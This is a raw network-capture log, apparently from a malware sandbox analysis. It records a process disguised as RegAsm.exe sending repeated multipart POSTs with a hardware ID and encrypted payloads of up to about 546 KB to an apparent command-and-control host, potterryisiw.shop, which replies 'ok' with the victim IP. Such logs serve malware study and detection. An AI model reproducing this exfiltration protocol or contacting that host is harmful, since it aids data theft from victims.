2024-07-01 07:23:54 UTC	15083	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 37 42 41 38 37 45 37 46 45 41 34 34 30 39 44 36 34 46 46 38 38 30 36 39 44 38 38 34 39 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C47BA87E7FEA4409D64FF88069D88493--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl--defau
2024-07-01 07:23:54 UTC	802	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:23:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=kn0726megd04ad2hpg8hvutmdp; expires=Fri, 25-Oct-2024 01:10:33 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2eKOvrRrAyznRiYvGvMiol%2FhwJj8XiNbsdnDkAxcOM32k8pqkmbbJkq7ONULFJWqpmkL3QR82WyPDJKMCysJMNy8jZqro%2B5sM7EgR2nlxBF8cak82rm7jDlilLfY2zB0Ps3aZA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a740ba544337-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:23:54 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-01 07:23:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49711	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:55 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20573 Host: potterryisiw.shop
2024-07-01 07:23:55 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 37 42 41 38 37 45 37 46 45 41 34 34 30 39 44 36 34 46 46 38 38 30 36 39 44 38 38 34 39 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C47BA87E7FEA4409D64FF88069D88493--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl--defau
2024-07-01 07:23:55 UTC	5242	OUT	Data Raw: b5 5a 3e 93 af 35 13 92 cd 36 8a 95 d9 76 89 c4 4d c9 4d d9 5a b5 da 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: Z>56vMMZh'F3Wun 4F([:7s~X`nO
2024-07-01 07:23:56 UTC	800	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:23:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=nuib3b3nuss1tgi2licd5e4egn; expires=Fri, 25-Oct-2024 01:10:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=QOPuhmm7KYpYZUGenBD%2FKU2fpjO0znh21qHjoBJuosYK14R8TOIooxawmw1odCtzGeMhqmTANaZTtCiAHNTo9Ya7zbWmkq0E9SvFjNQH5KUDhUN6uAxQOBTFJtE9e6nMi1bPrQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a747abf6431b-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:23:56 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-01 07:23:56 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49714	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:56 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 3806 Host: potterryisiw.shop
2024-07-01 07:23:56 UTC	3806	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 37 42 41 38 37 45 37 46 45 41 34 34 30 39 44 36 34 46 46 38 38 30 36 39 44 38 38 34 39 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C47BA87E7FEA4409D64FF88069D88493--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl--defau
2024-07-01 07:23:57 UTC	806	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:23:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=7p5kbo9fmj0gko3phh16n8abne; expires=Fri, 25-Oct-2024 01:10:36 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kk7cyAKVHQwmI%2FEeaQcbkO97FVxsyZ3VK%2FfgeO5DhhLxGSuP%2F%2FRwkZOTu6s84S7wdAUKsiH0AdYu179JxwoE7GuRTI00uiV7632om5YYAEnR2JGbn3c2M3oZ6pomOgikx2ssHw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a7506b3a7c90-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:23:57 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-01 07:23:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49716	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:57 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1299 Host: potterryisiw.shop
2024-07-01 07:23:57 UTC	1299	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 37 42 41 38 37 45 37 46 45 41 34 34 30 39 44 36 34 46 46 38 38 30 36 39 44 38 38 34 39 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C47BA87E7FEA4409D64FF88069D88493--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl--defau
2024-07-01 07:23:58 UTC	812	IN	HTTP/1.1 200 OK Date: Mon, 01 Jul 2024 07:23:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=226h9epvd9uc462dpfgga41b1t; expires=Fri, 25-Oct-2024 01:10:37 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Zd7sEjK7jxrAJ2Doy6KhbWPCJtQweU1iApgc%2BJd%2BrnsEW%2BF9wzMTlOyOhWwc3CbvXC4NdL4j%2BJVHzlA68pUM4Buwi5Ns2KTI8X3saJbOGDaxrLCVmDzQUq%2B%2F3qf6IMzEmOwO%2FA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89c4a755d82d42fe-EWR alt-svc: h3=":443"; ma=86400
2024-07-01 07:23:58 UTC	19	IN	Data Raw: 65 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 33 33 0d 0a Data Ascii: eok 8.46.123.33
2024-07-01 07:23:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49719	188.114.96.3	443	6176	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-01 07:23:59 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 546185 Host: potterryisiw.shop
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 34 37 42 41 38 37 45 37 46 45 41 34 34 30 39 44 36 34 46 46 38 38 30 36 39 44 38 38 34 39 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 48 38 4e 67 43 6c 2d 2d 64 65 66 61 75 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"C47BA87E7FEA4409D64FF88069D88493--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"H8NgCl--defau
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: 88 11 48 fc ac 93 ce 31 9b c6 a4 00 df 66 15 48 91 8e ee e5 1b 44 b5 52 ac ff 04 e9 ca 15 fd f3 62 4f a9 f7 b5 c9 2d 85 70 a4 2a 7f d2 51 75 2b 3b 46 23 ea 42 04 3c 46 9c 37 98 65 51 e2 4f 99 c2 e6 91 41 de 94 6e 03 6d 8e ca 0c 5a 80 79 d6 8e 5b 87 cb 63 56 f6 e1 4f b4 12 50 93 ef c3 10 19 98 95 c2 65 24 e0 b7 fe 4d f8 79 fc ad 09 51 56 f1 ef 09 a6 53 95 7e 0d e9 6a 30 10 2c 77 37 e0 c5 46 da 8d 80 24 77 a0 f4 78 05 6f ad b1 ea 76 ee 6b 83 de 43 3f 6b 5c 09 38 a4 30 17 7e 03 0d 43 32 53 2d 15 43 04 ab 51 0d 5f 64 e7 52 53 32 01 a7 ec b8 cc f7 16 56 bd dc ff 9b e0 bf 07 b4 91 8a d3 24 40 80 a1 bd a0 53 1e e0 09 8e 09 68 b7 46 fd 99 e2 ce 75 7b 1f 21 50 7f 3a 12 7c ad e1 af e7 0f 54 57 76 8a b0 83 4e fe c3 0c 7c 2e 55 fc 52 71 9b c4 e7 73 1c 67 05 64 77 5d Data Ascii: H1fHDRbO-p*Qu+;F#B<F7eQOAnmZy[cVOPe$MyQVS~j0,w7F$wxovkC?k\80~C2S-CQ_dRS2V$@ShFu{!P:\|TWvN\|.URqsgdw]
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: 88 e9 2a cd 58 8d 71 9d 49 0d 33 69 c6 d4 95 1c 0d 5b 44 cd 46 e2 4f 8f 7d db 5c f8 5e 2b a5 50 12 50 a0 7b dc e8 17 89 91 d5 76 26 ec 93 6f 7a c4 8c c1 62 26 74 48 27 3e 34 1c 65 10 75 18 f6 3d 43 64 61 10 1e ae 0d 73 25 c1 d6 d1 ac 4f 55 49 32 c7 3c ab 9a 09 6d 45 8c 1a e3 a3 41 07 60 45 af 8d 1f ca 86 18 27 31 ba 7d ed 34 01 10 c7 a3 c6 b5 ea a4 1d eb 42 dd 5c ad 95 ee 90 7a f6 17 29 9c 51 df a1 88 b9 53 ac df 1c ae 0f d3 eb ee 14 ca d6 55 72 0f 05 6a ec 35 3e 9e f0 04 a6 87 14 95 02 21 75 27 71 46 f2 72 83 b4 43 33 66 64 aa aa 7c 4d 3f dc 0b f5 36 88 db 14 9f dd 23 8f c5 60 86 15 35 69 ca 6b 8a e9 d5 11 41 9d c7 0d 32 a9 da 4c 67 fc aa c1 57 d6 9c 26 6b fc 1a 45 eb 3c fe 29 b5 15 7d 14 20 24 f6 cd 24 13 c4 e7 35 d7 df 09 78 ed 56 15 43 5c 94 77 37 31 Data Ascii: *XqI3i[DFO}\^+PP{v&ozb&tH'>4eu=Cdas%OUI2<mEA`E'1}4B\z)QSUrj5>!u'qFrC3fd\|M?6#`5ikA2LgW&kE<)} $$5xVC\w71
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: 03 20 c9 96 04 0a 4b 97 d2 4a 1f a4 bb ff 20 43 99 d1 70 1d 2f 68 d1 1e 4b 3d fe 50 63 1f 2f 06 74 ec 09 c9 26 40 7b c0 d9 b6 69 04 14 63 cd 02 6d 74 f1 b1 29 73 5b 86 1e 68 65 b3 e1 2a 81 46 d1 b4 cd bd d7 e9 36 45 31 f5 61 2e 47 89 07 74 77 b4 3e 82 3f 01 a2 2b f4 52 80 71 2e a8 2d e6 51 70 e1 52 e4 6e 39 ff 84 ef f4 32 80 99 b3 40 72 be 80 93 24 ee 8a 6e a1 0e 5b 48 cc 08 f9 c0 13 16 93 fe 79 4b 8f c5 26 a6 bd 53 8c 55 d6 6f 5e 76 09 e9 14 89 70 2b 11 9d ec fa b6 05 e0 4a 6b f9 1a 5f ae 09 0f 03 11 98 f0 b5 ed a3 68 dc bc 20 cf b5 c8 42 61 b9 ac 47 d1 6e 41 f8 96 86 4b de 4e e5 2c a2 1f da 1f 05 4a e7 d0 9d c3 2b 8e 4f 06 87 c3 50 a4 f4 1d 62 ef b6 34 9b 36 bf d9 c3 77 70 ee 36 c6 8a 62 e4 16 23 1d c9 d9 52 4f 7a d9 fe 72 0f 0e ca eb e8 cf 1d 4e f2 64 Data Ascii: KJ Cp/hK=Pc/t&@{icmt)s[he*F6E1a.Gtw>?+Rq.-QpRn92@r$n[HyK&SUo^vp+Jk_h BaGnAKN,J+OPb46wp6b#ROzrNd
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: dc a0 77 5b fe 54 8f e2 27 bf 45 1d b1 b3 ed 3f 92 50 41 96 6e 5c 26 78 2e 08 e3 fe 2d 71 cf f2 e6 c0 b1 8d 19 d2 44 f4 c5 fb 95 c0 30 e2 c7 4b ff 21 ac ee 99 d2 a7 dc fb 0a 13 40 81 c6 0d 6b d3 6b d8 ad db 5c 1c f7 8e 6e bf df f4 52 65 78 e5 02 86 25 ba 46 0c 48 1d e7 95 56 0d 51 38 20 29 a0 7c 97 a7 b3 ff 23 36 d4 46 92 af ab f3 e1 2d 0c 5c 7a f5 46 d9 39 85 2e eb a7 1c b1 e5 bb 73 be 7e 2f 08 50 c4 c2 f2 02 d8 19 11 50 66 d5 52 c4 b8 e1 cf ff bf 94 52 07 e1 81 8d fe 58 f8 2f 28 b0 14 0d 67 98 3b cb d2 07 e9 39 54 91 19 08 23 c0 7f fe ea 09 55 97 9a f3 0f bf 69 7c b8 71 83 cf 9b d2 87 c6 08 82 15 ea c2 05 15 3f 36 b4 80 18 fc 84 15 45 7c 9e 63 d9 97 38 86 05 94 69 12 26 8c aa ff 4d c7 50 31 e1 98 b0 a2 67 fc 92 ab 09 15 ec 12 cc 11 07 aa 0e ce d2 0e 6e Data Ascii: w[T'E?PAn\&x.-qD0K!@kk\nRex%FHVQ8 )\|#6F-\zF9.s~/PPfRRX/(g;9T#Ui\|q?6E\|c8i&MP1gn
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: 16 ef 76 ee f1 ba ff 01 9d 85 2b 4f 2f de f7 a7 5f 4f 45 6a 1b 7d dd 08 0e 34 f4 1f 8e 1b 42 1c e3 90 e9 43 f6 db 0d b7 5e 1c 4f 30 00 bb e6 e2 f4 15 72 17 67 3e 9a 31 11 61 ff 69 15 42 4f 7b 90 25 97 cf 75 ca ba b2 4a 0f 6c c6 1e b3 83 fd f8 32 d9 26 71 e2 08 09 eb 79 0c 63 22 53 d7 4d e9 a6 0d b2 f9 a7 32 2d 88 59 f5 11 93 7c ac f6 83 6b 39 80 d0 6a d1 4e 15 a0 f4 df 2a d8 c0 f2 e2 64 6a d2 6a 75 fd 50 37 c3 88 19 17 78 8c c6 45 9f 4a 9b 81 94 4a b4 95 28 05 dc 3b b5 08 34 03 e9 a6 14 33 c6 f6 74 b3 83 f8 c6 cd 90 9a c6 5b 4e 82 07 d7 23 4e c9 8c 66 1d c2 a0 c0 91 37 aa 2b e5 2f df d6 da 1e 32 0a c4 ed 33 2d 37 b5 34 35 cd 32 22 29 09 64 b9 24 b9 db 12 8d 5a 63 02 96 e3 bf 66 78 67 b6 94 a1 27 9f 1c 10 51 bf f7 f9 76 9d 14 2d e2 1f 7e 14 a9 ba 21 58 f2 Data Ascii: v+O/_OEj}4BC^O0rg>1aiBO{%uJl2&qyc"SM2-Y\|k9jN*djjuP7xEJJ(;43t[N#Nf7+/23-7452")d$Zcfxg'Qv-~!X
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: a4 ce 30 38 9d 8a ed d9 bf 2f cf 4b 3f 9b 7a c6 9d 77 3a d5 64 70 e6 24 d1 94 68 1e 53 38 c1 88 81 03 b9 13 38 72 e0 f3 e8 ff c4 48 2d 44 eb 95 a1 39 9f db 99 f2 5c 1b fd 53 0f b5 01 61 de 61 a0 29 91 ae 67 e1 a7 8b 37 d1 7e b0 59 f8 6a 51 1e 8d 7d 2c c6 b4 88 1c 5a 0b 11 f2 0b de 7d af 8b c3 b8 5b 17 e8 7b 06 9c cd 28 ce 86 a0 9a 9f d4 b0 9f 37 e6 f8 a5 3a 25 ff a7 a9 fa 7f 85 39 07 f5 81 1b d7 86 e0 6f 21 1b 41 66 3c b0 39 54 20 ee f0 e0 4b c6 17 ba 9c 12 8d 77 e3 e2 31 aa 1a 50 85 85 70 47 e4 ed 11 c5 fd ba b9 7f 1d 29 7d eb a4 eb 07 eb 94 6c 36 c5 81 da e9 cf 29 2f 1e 91 4c 0d 90 54 2f fe bd bf 95 36 22 7f 60 3b 8d f2 ae 39 26 7b 52 c3 c8 70 6d 3d d8 e7 be a6 32 ea ad ed b7 2b 09 67 71 18 6b ae 3b 85 32 cd 29 fb 28 21 45 2e 9f 82 a5 24 df 38 24 9c 71 Data Ascii: 08/K?zw:dp$hS88rH-D9\Saa)g7~YjQ},Z}[{(7:%9o!Af<9T Kw1PpG)}l6)/LT/6"`;9&{Rpm=2+gqk;2)(!E.$8$q
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: ba 8c 62 83 bd 05 cd bd 24 5a 6b bd d4 90 a1 17 5b c3 83 89 fa 44 82 da 2c 1e f3 51 73 db 8b af 20 0d 6a fe 17 8b 8c e8 17 71 5c cb cc 15 28 74 a0 1d a6 e9 60 9b f5 b1 77 94 b9 60 eb be 7b 56 2b 5c ee 96 13 da f8 9f b7 6e 14 4e a8 9c f9 79 23 af 88 45 c7 25 8d 77 08 89 a7 c6 66 73 cc a1 0c c7 d7 26 76 5c df 9c 73 68 ac f1 75 15 5b 29 32 66 c4 e9 da f6 79 4c f2 93 90 d8 19 ab a1 88 5b d8 db 73 33 35 c1 37 a8 35 15 91 fa 8c 32 f5 9c 50 f5 d2 0d b6 44 37 f9 b3 64 9e 59 65 d3 93 85 15 c3 6e df 0f b3 6c 79 d7 84 b6 43 1d 48 09 5e c2 d9 80 cc c6 68 35 9a 52 c3 8f 3e ea 1c b2 08 26 ba ba df 30 ae 8c 7d 5f 26 e2 f6 78 06 17 20 d3 20 3c fd d7 35 c2 6d a3 36 e3 85 3b e6 4c ce f0 d7 0e 23 9f be 7f e5 74 b6 32 18 fe 7b b0 bf 8e 4f 70 da 67 b4 7b 56 fe fe c6 f6 ff 76 Data Ascii: b$Zk[D,Qs jq\(t`w`{V+\nNy#E%wfs&v\shu[)2fyL[s35752PD7dYenlyCH^h5R>&0}_&x <5m6;L#t2{Opg{Vv
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: ef 7b af 73 c9 a7 6a 0a ed 29 aa 9b 74 43 42 9d 91 34 fa 02 dd 7d 20 dc 82 1f 0c 4e ad 6f ce 4f 25 25 f8 35 fd f2 9b 89 85 51 9f a4 f4 68 9f e3 03 0f 55 81 6e af 06 39 93 9a 5f d6 7d e4 9c 0d ad e7 77 0b 11 22 d9 d0 ba 61 54 25 29 20 b8 d5 52 b3 17 90 7f 98 d1 1e 71 b1 af 34 4c 50 04 1c 18 f4 44 c1 e1 b8 dc 60 4e 9a 0c f8 88 2f e8 3a 47 bd 5d 9c a3 f1 b2 f6 d9 ee e3 71 55 5f ff 29 86 21 7a 62 82 c2 93 a5 73 8a e0 23 fc 0d 6d 52 c7 8f e3 5b b0 95 7b a3 c3 6d ab 2e 44 46 d8 79 ee a8 16 29 21 a0 81 82 e6 f4 1d a9 a9 02 96 93 ee 10 49 33 89 9b 1a 03 8a 2c 3b 17 49 85 04 d3 b7 2f 9b ed 67 3d d0 67 df e1 01 45 ba 8b e2 2b 11 33 ea e2 02 a7 c7 68 a5 37 ef 92 82 5f f1 bf 42 21 67 9c c2 4a d1 83 2f ff 2d bd 71 e7 e1 69 13 c3 5d 40 fb 26 74 5d c4 0e 22 91 91 8a e9 Data Ascii: {sj)tCB4} NoO%%5QhUn9_}w"aT%) Rq4LPD`N/:G]qU_)!zbs#mR[{m.DFy)!I3,;I/g=gE+3h7_B!gJ/-qi]@&t]"
2024-07-01 07:23:59 UTC	15331	OUT	Data Raw: cd 10 c2 4e b1 13 fc 18 a1 2d 65 31 ac 0a 3e 82 28 f1 17 bc a7 f5 56 8f 1c 2b 3d e5 76 fb 1d 9d 15 aa bf 4f 09 3a dc 6f 3d 6c e0 fb d0 9c 80 4e c0 84 a8 4f ab 7b ba 6f 91 f1 66 72 0a 23 fe c6 9e 05 6b 46 68 7f 99 03 77 63 f1 b7 c5 4a 06 ac 0c 17 c6 a0 e3 83 f5 3e 79 88 7f 5a ba 97 36 d4 f8 39 38 ea 6c 62 5a d8 f6 e2 22 9c aa e9 8e 42 67 c2 08 30 9a ff 9b 59 b7 98 b7 6d 51 46 1e c3 65 5c 65 c6 92 e6 c6 61 9f ae 23 80 d0 c2 79 71 bc 0c 85 25 2e 13 91 72 07 45 7a a4 2d 8f 73 1c b2 f0 be 03 4a f7 3b 44 a4 5c 4f 0c 77 74 09 77 7b 59 04 b5 0b e0 80 b6 01 61 10 22 69 1e e2 75 94 c7 86 b9 5b 9f 7f be 79 fb 9c 19 16 13 9c df b9 7a de ff 7e 78 dd d5 1e f3 b3 a5 bd e2 4f f2 9c 44 2f f7 70 e3 3d c1 bd 96 b3 c5 7b 7d a4 14 e4 72 1f 8d 38 9e 2c 95 3f 43 32 50 2a 80 7d Data Ascii: 